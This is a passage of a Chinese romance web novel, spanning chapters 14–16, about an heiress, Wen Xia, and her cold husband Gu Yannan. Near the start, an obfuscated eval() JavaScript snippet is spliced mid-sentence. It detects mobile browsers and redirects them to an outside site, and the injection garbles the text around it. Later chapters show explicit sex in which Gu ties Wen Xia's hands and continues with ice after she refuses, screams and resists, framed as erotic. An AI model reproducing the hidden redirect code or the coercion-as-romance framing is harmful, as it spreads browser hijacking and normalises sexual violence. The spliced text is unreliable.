“没结呢,齐二刚满十八,怎么着也得等她二十,”梁从音啧了声,“但人人都知道齐二小姐有多喜欢林沨,完全把林沨看成她的私有物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520456|170675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁都不能碰。”
温夏只关心祁源会不会给她和温氏带来麻烦,以及他会不会偷温氏的商业机密。
“会不会惹麻烦我不知道,但商业机密——”梁从音笑她,“林家做的又不是珠宝生意,不至于来偷你的,而且你老公是谁你心里没点数啊,谁敢偷你的商业机密,你们家顾大公子能放过他?”
“我估计林沨去温氏就是想历练自己,林家的公司早就被他那几个大哥大姐给瓜分了,他去也是闲人一个,我记得他学历挺高的,应该有点真东西,正好你们温氏招人,他历练几年,说不定创业成功,就不用听话联姻了。”
温夏心里有数,要挂电话:“我知道了。”
“哎哎哎,先别挂——”
温夏:“什么?”
梁从音笑眯眯的:“温氏新系列的珠宝代言人除了你妹,剩下的还没定吧?”
温夏看着她,挑眉:“嗯。”
“温老板,给我一个名额吧,”梁从音眨巴着眼睛,“我这有个冉冉升起的新星,就缺一个大牌的代言,粉丝购买力特别强悍,绝对对得起你的代言费。”
温夏笑了下:“行,你哪天有空带他来。”
梁从音吧唧一个飞吻:“么么,爱你。”
挂断电话,温夏靠在椅子上,转着钢笔。
思来想去,最后决定留下林沨。
林沨斯坦福商学院毕业,个人能力很强,假以时日成功翻身也不是没有可能,她只是提供给他一个工作机会,齐二再跋扈也不可能对付她。
这个机会是林沨通过层层面试自己争取的,温夏不愿做无故辞退员工的那方。
想通后,温夏按下内线电话,让林沨和徐媛进来,交代他们今天的工作。
下午六点半,温夏到家。
餐桌上摆着四菜一汤,饭香味俱全。
温夏没在客厅看到顾衍南,以为他在应酬,去卫生间洗手。
回到餐厅,张婶将盛好的米饭端到桌上,问她:“少夫人,少爷的助理打电话来只说今天要去出差,不用准备他的饭,没跟我说什么时候回来,您知道他几号回来吗?”
温夏眼睫轻颤,轻声说:“那边的事情有点复杂,目前还不确定。”
“这样啊,”张婶有些不好意思,“少爷前段时间答应帮我孙子弄户口的事,我也不好因为这点小事烦他,少夫人,您如果知道少爷什么时候回来,能提前告诉我吗?”
顾衍南对待顾家老宅的人都不错,尤其是张婶这种陪伴顾老爷子多年的老人,举手之劳的事能帮就帮,这是张婶第一次有事求他办,顾老爷子当时也在,就把事儿交给他了。
“好,我等会儿给他打电话。”温夏说。
张婶:“谢谢您,少夫人。”
吃完晚饭,温夏拿着手机上楼,走到阳台,靠着栏杆,发丝被风吹得凌乱。
他去出差了,记得告诉张婶,却没有和她说一声。
看着屏幕上的号码,良久,温夏拨通他的号码。
他不说,她主动问。
一直以来,不都是这样的吗?
弄清楚他的行程,是她作为顾太太的一项工作。
今天幸好只是张婶,要是顾爷爷,一定会看出她根本不知道顾衍南去出差。
顾爷爷肯定会生气。
电话快要挂断才被接通。
接通的那一刻,温夏呼吸微凝。
沉默在发酵。
谁也没有先开口。
“说话。”几秒后,他不耐道。
温夏调整呼吸,语气平静:“我听张婶说,你出差去了。”
“嗯。”
“什么时候回来?”
为了避免他会误以为这句话有越界的嫌疑,温夏紧跟着解释了句:“张婶说你之前说过帮她办户口的事,问我你什么时候回来,我怕不回她,会让爷爷知道……”
“知道什么?”他打断她。
温夏垂眼,轻声:“知道我们不熟。”
对面响起一声嗤笑:“知道不熟你问我行程?”
温夏攥紧手机,看着远处的万家灯火,视线被灯照的有些恍惚。
静了片刻,她低声说:“抱歉,打扰你了,你去忙吧。”
话落,死寂得仿佛能听到电流的声音。
三秒后,他骤然挂断电话。
14-20
第14章 “你没什么想问我的?”……
“话说你们家顾大公子还真是长情啊, 十年如一日只喜欢白莲花调调的女人。”
电梯门关上,梁从音长舒一口气,憋了一路的话一吐为快。
“什么?”温夏看着显示屏不断上升的数字。
梁从音啧了声:“你没发现吗?虽然顾大公子身边来往的女伴无数, 且多是一次性的, 但她们有一个共同的特点——”
她停顿,眼巴巴地看着温夏,示意温夏接话。
温夏无奈,捧场:“什么特点?”
梁从音打了个响指:“她们都符合文学影视作品中白莲花白月光的形象,黑色长发,白色长裙,端着一副清冷的女神范儿, 大多从事文娱行业,多是搞艺术的,最次也得是跳舞的,像我这种习惯把眼线挑到太阳穴口红只涂正红色、凑近就能闻到身上铜臭味的类型, 就从没入过他的眼。”
作为圈内的顶级大佬, 顾衍南的私生活一直被广为关注。
花心无情又怎样, 就算没有显赫的身家,光凭那张脸和那副完美如雕塑般的顶级男模身材,足以让无数女人前赴后继。
更何况, 他不仅长得带劲,还巨他妈有钱。
样本数量足够多,便有闲得无聊的人总结规律,惊奇地发现这么多年来, 顾衍南喜欢的居然是同一个类型。
就连娶的老婆——
梁从音偏眸看着温夏。
她曾多次吐槽温夏喜欢把自己打扮成一副仙气飘飘的白莲花调调,她皮肤本就白,还总爱穿白色长裙, 一头黑色长直发乌黑浓密,披散在肩,清冷得像一副水墨画。
接管温氏后,她不再这么穿,换上更为简便的职场装,头发也挽起来,干练利落。
细想起来,很久没见温夏那副打扮了,梁从音回忆她之前的恒久“皮肤”,悠悠道:“你说你们家顾大公子会不会有个白月光什么的?这些女人都是按照她的标准找的?网上的专业术语怎么说来着……对!替身!”
叮——
电梯抵达楼层。
温夏走出去,淡淡道:“就不能单纯只喜欢一个风格?他有钱更有权,真有钟情的人,为什么不把人娶回家?”
“说的也是。”梁从音只是随口一说,以顾衍南如今的地位,就算看上有夫之妇也能抢,用不着多此一举找替身。
钟情一个风格倒说得过去,就像她从来只和比自己大的成熟男人谈情说爱。她有个同父异母的亲弟弟,以至于她从没找过比她年纪小的男友,连看小说看电视剧都无法接受年下,尤其是听到男主角喊女主角“姐姐”,瞬间萎了。
新松公馆是北城首屈一指的私人会所,隐秘性极强,走廊光线黯淡,自上而下落在地面,投下细碎斑点。
侍者冲两人点了下头,拉开包厢门。
低头看手机的少年听到动静,立刻站了起来。
温夏随意扫了眼,目光一顿。
少年穿着件白色T恤,黑色长裤,暗光下的面容清绝俊美,眉宇间带着几分少年意气。
梁从音阅人无数,能让她力捧的绝不是俗色,是真的好看,但仅仅这样还不至于让同样阅人无数的温夏愣住,她恍神的原因是,眼前这个少年有一双和顾衍南至少七分像的桃花眼。
这身穿搭,顾衍南年轻那会儿也爱这么穿,只不过他那时更爱穿黑色的T恤,黑衣黑裤,戴着个黑色棒球帽,把自己打扮得像深夜里的冷血杀手。
许是刚看过那本画册,久远的记忆接连往外蹦。
不过一瞬,温夏强制回神。
少年礼貌打招呼:“梁总,温……温副总。”
梁从音给温夏介绍:“这就是我跟你说的裴霖。”
温夏冲裴霖点了下头:“你好。”
裴霖拘谨一笑。
两人见面本就是为了叙旧,顺道带裴霖来见个面,聊了一会儿,梁从音见裴霖有些不自在,便让他把墨镜口罩戴好,去车里等她。
“噢噢……梁总再见,温副总再见。”说完逃似的跑了。
“这孩子别的都好,就是不怎么会来事儿。”梁从音叹气。
温夏端起茶杯,抿了口红梅茶:“他多大?”
“前两天刚满十八岁,”梁从音挑了挑眉,“长得不错吧。”
“嗯,挺好看。”
能让温夏说好看,梁从音对裴霖更满意,挤了挤眼:“你不觉得他长得像谁吗?”
“谁?”
“你们家顾大公子啊,尤其是那双桃花眼,简直一毛一样!”
温夏放下茶杯,点头:“乍一看是有点像。”
顿了下,她加了句补充:“不动不说话的话。”
顾衍南可不会是这幅好声好气的态度。
十年前还好点,十年后简直可以用阴晴不定来形容。
更别提腼腆拘谨,他只会用高高在上的气场压的别人拘谨不自在。
“他家境挺普通的,不是含着金汤匙出生的大少爷,性子比较腼腆,自然不会有顾衍南身上那股贵公子的倨傲劲儿。不过要是他像顾衍南那样傲慢,眼睛长在头顶上,反倒不好管理。这样刚刚好,长了张好脸,性情温顺,我可是在他身上投了快一个亿呢,也不知道什么时候能回本。”梁从音说。
温夏回想那张和顾衍南有三分像的脸,随口问:“下这么大的血本?”
“是啊,他现在正参加一个选秀节目,人气断层第一,艺人这么争气,我这个做老板的也不能小气,拼命往里面砸钱,”梁从音眨巴着眼睛,“他可是我今年压的最大的宝,温老板,你一定要帮我!”
温夏睨着她:“明早来我公司签合同。”
梁从音单手比心,嫌不够,又隔空飞吻:“么么,爱死你了!”-
人与人的悲欢并不相通。
梁从音在这为了合约的事庆祝,周之恒看着女友的连环夺命call,急得一个头两个大。
他从后视镜往后看,顾总偏眸看向窗外——
这是一种很稀奇的现象,顾总日理万机,在车上要么处理工作要么闭目养神,很少会看着窗外发呆。
虽然他一毕业就跟在顾总身边,但对顾总的情绪仍不能准确把握,不敢贸然给女友回电话。
然而,女友直接发来一条“三分钟内不回电话就默认分手”,周之恒心一横,试探道:“顾总,我有点急事,打个电话?”
顾衍南扫他一眼:“嗯。”
周之恒感激道谢,顾衍南对他们这些员工态度其实挺好的,奈何气场太强,让人不自觉便小心翼翼。他找到蓝牙耳机,拨通女友的号码。
下午三点,北城交通难得不堵,黑色宾利行驶在川流不息的马路上,车内寂静冷清。
周之恒一开始压着声音,但女友越说越过分,就因为他前段时间同学聚会和前女友打了个招呼,闹到现在,歉也道了,礼物也买了,就是抓着这件事不放,大家都是成年人,人家上前跟他say hello,他还能装没听见吗?多不体面。
他自问拿出十二分的诚意,也敢保证和前女友私下没有任何来往,但女友总是翻旧账,他烦躁不已,女友又一次提出分手,他太阳穴突突直跳,不想忍了:“那天的事我解释过很多遍,可你不信任我,如果你介意到执意要和我分手,我尊重你的决定。”
挂断电话,周之恒烦躁地扯了扯领带,后面突然响起顾衍南的声音:“分手?”
周之恒一愣,讪讪道:“嗯。”
“为什么?”
顾总今天怎么了?居然对他的感情生活感兴趣,以往从不会问他和工作无关的事。
周之恒挠挠头:“就我上次同学聚会和前女友打了个招呼,她总抓着这事不放,三番四次提分手,不相信任我的人品。”
顿了下,他拍了个马屁:“要是她能像太太一样成熟理智、善解人意就好了。”
成熟理智、善解人意。
认识她的人都这样评价她,就连一面之缘的林曦也这么说。
确实如此,她比谁都要善解人意,大度懂事,不会像个妒妇一样做任何不体面的事,对得起“名媛教科书”这个评价。
看到林曦和他走在一起,还能若无其事地过来和他打招呼,好像一点也不在意林曦的存在。
不,不是好像,她就是毫不在乎。
顾衍南眯起眼,想起她那张美丽温柔、虚伪的假笑脸,目光一寸寸冷了下来。
-
——顾衍南又生气了。
回到家,温夏帮张婶端米饭,瞥到那张面无表情的脸,默默想着。
应该不关她的事。
下午在停车场偶遇时她态度这么好,既没有把他当空气,也给足他和林曦面子,温夏实在想不通他能从哪个角度挑自己的刺。
那就是在外面受气了。
他处于北城商业圈的食物链顶端,从来只有他让别人受气的份儿,谁敢给他气受?
不是公事,那就是私事。
难道是林曦?
应该也不是。
看两人的状态,林曦属于主动的那方,他兴致缺缺,能让他气到在张婶面前还摆着这幅臭脸,林曦暂时做不到。
温夏想了一圈,也没想明白他生气的原因,便当他大姨夫来了。
他正在气头上,温夏真不想承受他的怒火,奈何寄人篱下,主动给他夹了块烧鹅。
烧鹅色泽诱人,鲜香扑鼻,她用公筷夹到他的餐盘里,嗓音温软好听:“张婶说这是她的拿手菜,我尝了,味道很正宗。”
顾衍南看着那张漂亮温柔的脸蛋,冷声道:“我不吃。”
温夏筷子一顿,他之前说的不吃的食材里没有鹅肉,而且张婶在顾家做工多年,肯定知道他的口味,她帮忙端菜的时候张婶还笑着说“少爷最爱吃我做的烤鹅”,看来气得不轻,连无辜的烤鹅都被迁怒了。
“噢。”温夏用公筷把那块烤鹅从他的餐盘夹了出来,扔进垃圾桶里。
下一刻,耳边响起一声冷笑。
温夏抬眸,看向发出冷笑的顾衍南。
“没人教过你不能浪费粮食?”他冷眼看她。
温夏:“……”
温夏内心翻了个白眼,朝他歉意一笑:“以后不会了。”
晚餐吃的并不愉快,被他站在道德的制高点指责浪费粮食,做了一会儿的心理建设,温夏找他搭话,提起前段时间看的课程中的一个疑难点,他冷淡回她一句:“我很闲?”
温夏抿抿唇,没再热脸贴冷屁股,低头安静吃饭。
顾衍南目光落在她的发顶。
眸色愈来愈沉。
——顾衍南的心情不好。
要加个“很”字。
被他按在浴室墙上顶、撞时,温夏出神地想。
他们的性生活挺合拍的,除了偶尔变态,他大部分时间的服务意识很强,今晚却有些粗鲁。
她正在洗澡,他推门而入,抢她的淋浴,胡乱往她身上涂满泡沫,又随意冲掉,满脸不耐。
前.戏更是敷衍,温夏艰难地容纳,靠咬他肩膀缓解异物感,哑着嗓子:“疼。”
“忍着。”他沉声。
在浴室里待了四十分钟,从一开始的不适到契合,温夏的后背贴着冰凉的瓷砖,一冷一热,冰火两重天。
又一次控.高,温夏浑身颤栗,指甲陷入他肩膀,额头沁出薄汗,不受控制地轻喘。
羞耻又难耐。
顾衍南冷静得像在做科学实验,眼眸漆黑平静,看她杏眸蒙上潋滟水雾,看她瓷白细腻的肌肤染上大片绯色,看她用羞耻又渴望的眼神求他。
他突然停下,静静盯她。
几秒后,缓缓开口,嗓音低沉:“你没什么想问我的?”
温夏被他吊得不上不下,脚趾蜷缩,死死咬唇:“问什么?”
眸中温度骤然降至冰点。
温夏敏锐察觉气压变低,却想不出缘由,也没有力气去想。
她现在脑子里只有一个想法——能不能别再折磨她了?
知道他在等她主动,温夏没有自讨苦吃,勾住他脖子,红唇有一下没一下亲他的喉结,啃、咬、含、噬。
温夏能清楚地感觉到,他想要的欲念不比她低,但就是不满足她。
宁愿自损一千,也要伤她八百。
恶劣得不行。
僵持不知道多久,顾衍南突然拖着她的臀,就着这样的姿势将她抱出浴室。
不需要刻意去找特殊点位。
因为每一处都能被充分碾到。
垂在半空的粉色脚趾蜷了又蜷。
白光乍现,全身泄力。
温夏轻轻喘气,闭着眼,无力地趴在他肩头。
恢复需要时间,任由他抱她走出卧室。
书房,衣帽间,或者琴房,他的变态嗜好她早有领略,也有心理准备。
但温夏没想到,他居然还能更没有下限。
下沉的重力反作用向上,温夏猛地睁开眼,顾衍南正抱着她下楼梯。
“你干什么?”她忍着快要溢出来的声音。
顾衍南低头瞥她,嗓音没有任何起伏,语调淡漠:“渴了,拿水。”
温夏简直要疯了:“这是楼梯。”
“我没瞎。”
又下了几节阶梯。
他的步子走得沉稳,不紧不慢。
温夏崩溃得头皮发麻,尝试沟通:“你先出来好吗?我真的不行的。”
顾衍南停下,低头看她:“是吗?我怎么记得你特别喜欢这个体位?”
“记错了吗,你说过喜欢被我抱着。”
“会到最里面……楼梯会被弄脏。”冰凉长指掐住她的后颈,他用力一按,迫使她往下看。
温夏难堪地闭上眼。
“睁眼。”他用命令的语气说。
温夏死死咬住下唇,睁开眼。
“看清楚,你有多喜欢。”他语调平静地陈述事实。
生理反应完全不受控制,他本就对她的身体了如指掌,比温夏自己还要清楚。
为了论证他说的话,他没再继续下楼梯,在阶梯不上不下的位置让她看着瓷白的地面湿了一片,看她到底有多喜欢。
别墅的装修是意式风,温夏抓紧旋转阶梯的扶手,关节用力到泛白,紧紧抓住,以防站不稳掉下去。
他从背后锁住她的腰,温夏视野摇晃,看向客厅沙发,脑海里突然闪现他刚才的问题。
——你没什么要问我的吗?
她应该问他什么?
他想要她问他什么?
问他为什么生气?为什么不高兴?
但这关她什么事?
她连问他去哪儿出差都不被允许,他的情绪变动更是她不能触碰的禁地。
温夏可以想象到,如果问他这个问题,他会用那双漂亮的桃花眼冷眼看她,嘲讽她管多了。
除此之外,温夏也不想知道太多他私事。
太了解一个人并不是一件好事,窥探到他的秘密,他不为人知的一面,这代表两人无形中又多了一条纽带。
假使有撕破脸的那天,欠顾家和他的人情债可以还清,婚姻关系可以解除,床伴炮友说散就散,但共享的那个秘密,不是说忘就能忘的。
黎女士从小就告诫她,好奇心不能太重,她最初不以为然,直到因为好奇心撞破一桩桩面目全非的污垢,那些混乱肮脏的画面无孔不入地干扰她的生活,严重到要靠心理干预。
那是温夏第一次对自己的做法感到后悔。
深渊危险又神秘,也正因它的危险和神秘,吸引一个个冒险者坠落,摔得粉身碎骨。
好在她如今二十八岁,过了好奇心重的年纪,对危险神秘的事本能抗拒。
她更希望,她面前的路平坦得一眼望得到头,最好连一丁点的起伏都不要有。
但她心中比谁都清楚,从她嫁给顾衍南的那刻,或者更早,她期待的安稳人生注定不可能了。
快感成倍累加,温夏的大脑很快没有空间思考别的,白色烟花接连绽放,顾衍南架着她的两条腿,从背后抱她下楼。
温夏在他怀里颤抖。
听他在耳边低喃:“楼梯被你弄脏了。”
温夏咬着唇,没吭声。
顾衍南目光落在她咬到泛白的唇瓣上,眯了眯眸,闲庭信步地走到厨房,从冰箱里拿了瓶冰水,然后走去餐桌旁,将她放到桌面上。
好凉,好硬。
温夏背脊升起一层寒意,惊恐地看着他:“你干什么?”
这是餐桌……
刚结婚那会儿,每次都平平淡淡解决需求,姿势也不怎么换,她还以为他年纪大了戒掉那些变态的癖好,没想到远比十八岁更要变态。
远超她预期和接受范围的程度。
顾衍南没搭理她这句话,拧开瓶盖,把水递给她:“要喝吗?”
“流了这么多,不需要补点吗?”
温夏全身上下,连带着脚趾都泛粉。
她别过头,嗓音沙哑:“不喝。”
从浴室出来,他随手扯了件浴袍给她披上,经过这番折腾,浴袍松松垮垮的,从顾衍南的角度看去,里面的风景一览无遗。
她的肤色太白,比起温柔美丽的五官,这身白的不像黄种人的肌肤更让人印象深刻,通体像一块没有任何瑕疵的暖玉。
上面印满他给她的吻痕和咬痕。
红的紫的,吮吸一大片,像艳丽的花簇。
下一刻。
水流汩汩。
好似有条毒蛇从脖颈往下爬。
温夏瞪大眼睛,难以置信他在干什么?
他居然把冰水浇在她身上!
好冰,好凉,温夏从餐桌坐起,猛地挥手。
顾衍南另一只手抓住她的手腕,轻而易举将她制服。
温夏用力抽手:“顾衍南,你能不能不要这么变态?”
顾衍南扣着她的手腕,轻嗤了声:“这就变态了?”
“……”
“你现在的接受能力大不如前啊。”
“……”
“知道我接下来要怎么做吗?”他语气散满,像在闲聊。
温夏不吭声。
“说话。”语调很淡,却是命令的口吻。
温夏咬着唇:“不知道。”
她怎么会猜到变态的想法。
顾衍南捏着她的下巴,漫不经心地道:“你今晚流了太多,必须要补水。”
骨骼分明的长指比冰水还要凉,指腹在她的唇上轻轻揉着,突然用力压了下:“我好心给你水喝,你拒绝我……”
手指下移,“那就用这里喝,好不好?”
温夏用力去推他,几乎是怒吼:“顾衍南你疯了吗?!”
不知道是她过于激愤的态度,还是这句话,让他的动作停了下来。
顾衍南抽手,垂眸看她:“不想喝?”
温夏立刻收拢腿:“不喝。”
“我不喝。”她强调。
“行,我再给你一次机会。”他一副大发慈悲的语气,将瓶盖拧好,水瓶随手扔到桌子上。
随即,俯下身,双臂撑在她两侧。
光线被他身体挡住,他隐在昏暗中,锐利的黑眸紧盯着她。
褪去那层轻佻浮浪,取而代之的是密网般的压迫感,强势到难以直视。
温夏下意识想躲。
偏过头。
下一刻。
下巴被他掰回来。
顾衍南凝着她的眼睛,声音不再懒散,带着商务谈判时的锋利。
语速很慢,一字一顿,给她施压。
“再问你最后一次,有没有什么要问我的?”
温夏身体一僵,嘴唇动了动。
冰凉长指按住她的唇,他眯起眼,淡笑着提醒她:“想清楚再回答。”
第15章 冰块
滴答、滴答。
冰水从小腿滑过, 落到地面。
温夏仰头看他。
顺着他的话,大脑飞速运转,去想他想要她问的是什么。
同一时刻, 身体仿佛生出另一种意识, 悬浮在空中,木然地看着这一切,眼神嘲弄。
也不知道在嘲讽谁。
温夏闭了下眼,敛去眸底情绪,温声问他:“你不高兴吗?”
她的嗓音温软,带着点沙哑,眼睛黑白分明, 顾衍南从那双清澈灵动的杏眸中,却只看到虚伪。
“嗯。”他看着她。
“为什么?”
“因为你惹我生气。”
她垂下眸,低声说:“对不起。”
“哪里惹你不高兴了,你告诉我好不好?我会改的。”
她像个被设定好程序的机器人, 如果有“三好太太”这种愚蠢的奖项, 她一定能拔得头筹。
她怎么就这么冷静呢?情绪太稳定了, 衬得他像个无理取闹的疯子。
顾衍南觉得目前的局面对他非常不公平,他还是更喜欢看她刚才那张濒临崩溃的脸。
比这张低眉顺眼的脸要顺眼得多。
顾衍南直起身,将她拉起来。
他站她坐, 他的手掌轻轻顺着她的长发。
温夏的眼皮猛地颤了下,手指下意识攥紧。
“改的话,就从叫老公开始改吧,”他的声音很淡, “我挺喜欢你在床上叫我老公的。”
停顿片刻,他啧声:“当年一口一个老公不是叫得很顺口?怎么现在真成了你老公,你倒是不叫了?”
当年、老公。
像是所有的记忆都存档在硬盘里, 触发“当年”和“老公”这两个关键词,跳转到温夏第一次叫他老公的那天。
她早已记不清当时自己怎么想的,或许只是床笫间随口喊的称呼,纵情时说什么都情有可原。
但对他的反应记得一清二楚。
“老公亲亲我。”她被他按在落地窗前,脸贴着冰凉的玻璃,转身想要他亲她。
“你叫我什么?”他的身体猛地僵住,沙哑的声音沉了下来。
温夏愣怔,后知后觉自己刚刚的称呼有些不合适,她垂眼,轻声:“你不喜欢的话,我不会再这么喊了。”
他盯着她。
室内没开灯,昏暗光线下,他眸底深沉晦暗。
几秒后,他俯身,在她唇上轻轻亲了下:“就这么叫。”
她追着他的吻,软声喊他:“老公。”
后来,这个称呼取代他之前最爱让她喊的“哥哥”,她从一开始的主动到被动,他掐着她的后颈,到达顶点时,逼她一遍又一遍地喊他“老公”。
当年脱口而出的称呼合法化后,反倒没再叫过。
“老公。”她顺从喊道,表情木然。
“很好。”他眯起眼,双眸是浓稠的冷沉,嗓音含笑:“这些年叫过几个人老公,嗯?”
这些年。
温夏的神经被重重扯了一下。
“你的那些床伴,有没有教过你什么新的花样?”他居高临下地看着她,冷嗤,“他们没告诉过你,男人更喜欢主动的女人,不是你这种古板无趣,快三十岁还笨拙得像初次、要男人伺候迁就你的类型?”
修长的手指在她的发间穿梭,他的手掌宽厚,从前,她特别喜欢他摸她的头。
给她一种被温柔对待的感觉。
嘴唇不受控制地微颤,温夏垂眸,突地笑了笑,仰头看他,眼尾上挑,媚声:“我以为你更喜欢掌握主动权,既然你想要我主动——”
她拉着他的手指放到唇边,在他的注视下,伸出舌尖,试探地舔了下,然后含住他的手指。
十指连心,酥麻细微的电流从手指流窜到掌心,再顺着血管钻往身体最深处。
全程,她直勾勾地盯着他,脸蛋酡红,媚眼如丝,顾衍南从那双清澈漆黑如孩童般的杏眸中,看到万种风情。
温夏很美,美的端庄温柔,是长辈最喜欢的娴静优雅,美而不媚,十年前和十年后都是,虽然他们做过无数次,但她很容易害羞,说点下流话脸就红的不行。她的身上有纯真有娇羞,有远离俗世的仙气清冷,有眼睛长在头顶上的傲慢,有虚伪有庸俗,却绝不该有妖媚的风情!
是谁教她的?!
顾衍南太阳穴突突直跳,眉间瞬间笼罩一层寒霜,按着她发顶的手掌掌面青筋紧绷。
这十年她到底找过多少床伴?
顾衍南清楚地知道,这不关他的事,他没有任何立场和权利指责质问她。
但生气的权利他还是有的。
看着他难看下去的脸色,温夏心底生出一种报复的快感。
他有什么资格和她提这些年,欠他的人情债她牢记于心,除此之外,她什么也不欠他。
她可以忍受他的阴晴不定,忍受他的没来由的怒火戾气,她得到她想要的,需要付出等量的代价,这很公平,但不代表他能拿“这些年”来羞辱她。
“这些年”三个字,就像投掷平静水面的那颗小石子,荡起层层涟漪。
明亮光线下,温夏舔舐着他的长指,眼神迷离妩媚,眸底却没有任何温度。
顾衍南的眼神同样冷得让人胆寒,宛若一潭沉寂的死水。
僵持了不知道多久。
顾衍南突然从她口中抽出手指,转身。
温夏坐在餐桌,蜷缩的神经骤然一松,长长舒了一口气。
就在她以为他要上楼时,顾衍南走进厨房,打开制冰器,拿了个玻璃器皿开始装冰块。
温夏敏锐察觉到危险,但一时没有猜到他的意图。
直到方形冰块贴上她的小腹。
“这个呢?跟谁玩过没有?”他低眸,看着不断融化的冰块。
皮肤陡然一冰,温夏浑身颤栗,头发发麻,本能后退:“不要!”
“看样子是没玩过,”修长的手指从玻璃器皿中取出冰块,他漫不经心垂眸,语调淡淡,“这里这么贪吃,你猜要多少冰块才能装满?”
“里面很热,冰块会被烫化,混着你的一起流出来……都放进去,好不好?”
“不——”
冰块好冰,比冰水要冰的多,很硬,还有棱角,温夏再也忍不住尖叫出声,眼眶被泪水打的湿润通红。
她用尽全力去推他踢他。
“啪”的一声,一个巴掌落到他的脸上,顾衍南像是毫不在意,啧了声,舌尖抵了抵被打的脸颊,将她湿透的睡袍脱下,把她的双手捆了起来。
“我给你的,你不能说不。”他继续往里送冰块。
温夏让他滚。
他不满地皱眉,用冰块堵住她的嘴:“这张嘴太不乖了,总说让我生气的话,两张嘴一起吃。”
“唔唔……滚……”
顾衍南看着她这幅崩溃到大哭的模样,心口的烦躁舒畅几分,这样才公平。
俯身去舔她的眼泪,嗓音温柔缱绻,如同情人呢喃:“很凉吗?抖成这样。”
温夏用腿去踹他。
却被他的手掌按住,无法动弹。
眼泪太多,舔是舔不完的,顾衍南看着一片狼藉的餐桌,在她耳边低喃:“脏了,明天还要吃饭呢。”
“你说怎么办?”
口中含满冰块,冻的嘴唇发抖,冰块融化的水混着口水从唇边溢出,温夏双眼通红,死死地怒瞪他。
顾衍南不需要她回答,自顾自埋下去,换个地方亲,喉结艰涩滚动。
吞咽的水声浸满潮湿的春夜。
满杯的冰块全都用完了,有的直接用,有的被他含在口中融化成水再吞下去。
不止泪失禁,哪里都不受控制。
好凉好冰好脏,身体严重脱水,全进了他口中。
烟花炸开。
一簇,又一簇,接连不断。
不知道过了多久,顾衍南直起身,抽了张湿纸巾擦脸,低眸瞥了眼,淡淡道:“我的睡袍被你弄湿了。”
身体残余的颤栗让温夏手指不停发抖,眼眶红红的,全身上下哪里都红红的,可怜得要命。
顾衍南胸口的郁气散了些,目光落在那双被白色睡袍束缚的纤细手腕,白皙肌肤留下一道明显的红痕。
有几分不忍,替她解开。
几乎是刚解开。
下一刻,一个巴掌毫不犹豫地扇到他脸上。
很用力。
冷白皮肤上瞬间浮现清晰的红色指印。
顾衍南不躲不避。
面上情绪没有丝毫波动,只用舌尖抵了抵被打的腮帮,“爽了也要打人,你脾气是不是太大了点?”
温夏喘着粗气,抬手又要给他一巴掌。
这次没有如愿,顾衍南扣住她的手腕,冷嘲:“我说错了?你没爽?”
“一地的水,温夏,你敢说你没爽?”
温夏看着眼前这张完美到挑不出任何毛病的俊脸,紧攥着手指,关节寸寸泛白,胸口剧烈起伏。
神经紧紧绷着,在忍耐和撕破脸之间犹豫纠结,突然,脑子里闪过什么。
紧绷得神经慢慢松下来,她调整着呼吸,勾起水润潋滟的红唇,嗓音因使用过度还有点哑,语气轻慢慵懒:“爽,非常爽。”
顾衍南眯眼,黑眸蓄着不断燃起的戾气。
扣着她手腕的指骨一寸寸收紧,掌面青筋凸显。
手腕痛到要骨裂,她唇角的弧度却更深,对着他笑:“这么多年,还是——”
一字一顿,“你、最、好、用、”
……
温夏为这句话付出了惨痛的代价。
他冷笑着回她一句“好用那你就多用”,将她按在餐桌上,不遗余力地践行这句话。
然后是沙发、地板、茶几、最后辗转到阳台,春夜晚风吹在身上很冷,冷得浑身颤抖。
她被抵在玻璃栏杆上,发丝被风吹得凌乱,暴露在空气中的肌肤起了一层细微的鸡皮疙瘩,死死咬着唇,一言不发地任他索取。
顾衍南没有强迫她发出声音,面无表情地讨伐她,同样的不发一语。
两双纯黑色的眼睛在昏暗中无声对望。
静谧春夜,潮湿滞闷。
浸满他的喘息,她的呻.吟。
除此之外,再无其他。
第16章 有人要完蛋!
第二天, 温夏是被电话铃声吵醒的。
艰难地睁开眼,顺着声源去摸手机,是梁从音打来的电话。
“温老板, 你就是这样做生意的?”梁从音调侃, “这都快十点了你还不来公司,得亏你是顾太太,有的是人上赶着给你送钱,不然就你这消极怠工的态度,还怎么带领温氏做大做强?”
这一嗓子把温夏吼清醒了,她想起昨晚和梁从音说的,要她今天去公司签合同。
单手撑着床面坐起来, 她低眸瞥了眼。
松松垮垮地穿着件黑色的男士衬衫,身上没有什么黏腻的不适感,他给她清洗过。
昨晚不知道几点结束的,昏迷前, 温夏只记得天已经亮了。
嗓子发干, 太阳穴不知因疲惫过度还是睡眠不足突突直跳, 她清了清嗓子,嗓音略哑:“抱歉,睡过头了。”
“我一猜就是, 你昨晚忙什么呢睡到现在?”
温夏掀开被子:“没什么,你先去找祁源,我给他打电话,让他叫法务部的人过合同条款。”
梁从音没有追问:“行, 你快来啊。”
“嗯,我这就过去。”
挂了她的电话,温夏给祁源打过去, 交代完合同的事,下床洗漱。
双腿酸得发软,像踩在刀尖上,艰难地走到浴室。
站在镜子前,温夏看着脖子上那一大片紫红色的吻痕,像园林中糜烂的红玫瑰,从侧颈蔓延到锁骨下,胸口更是重灾地带。
她皱着眉,在脖子上涂了厚厚的一层遮瑕,拍了半天,也没法完全遮住,扔了化妆刷。
换衣服时,站在全身镜前,看着全身密密麻麻的吻痕,尤其是大腿.根.部,没有一块皮肤是完好的。
温夏穿上长衣长裤,脖子用丝巾挡住,但耳朵上的印子却没法遮,她的左耳上有一串齿印清晰的咬痕。
跟疯狗一样,咬得她浑身都是印子。
温夏只好披着头发,挡住耳朵和丝巾不能遮住的部位。
驱车赶到公司,梁从音在祁源的办公室聊得正欢,两人之前见过面,不怎么熟,不过梁从音是社交女王,祁源打拼多年,社交属性也很强,两人天南海北地胡扯,一直扯到温夏来。
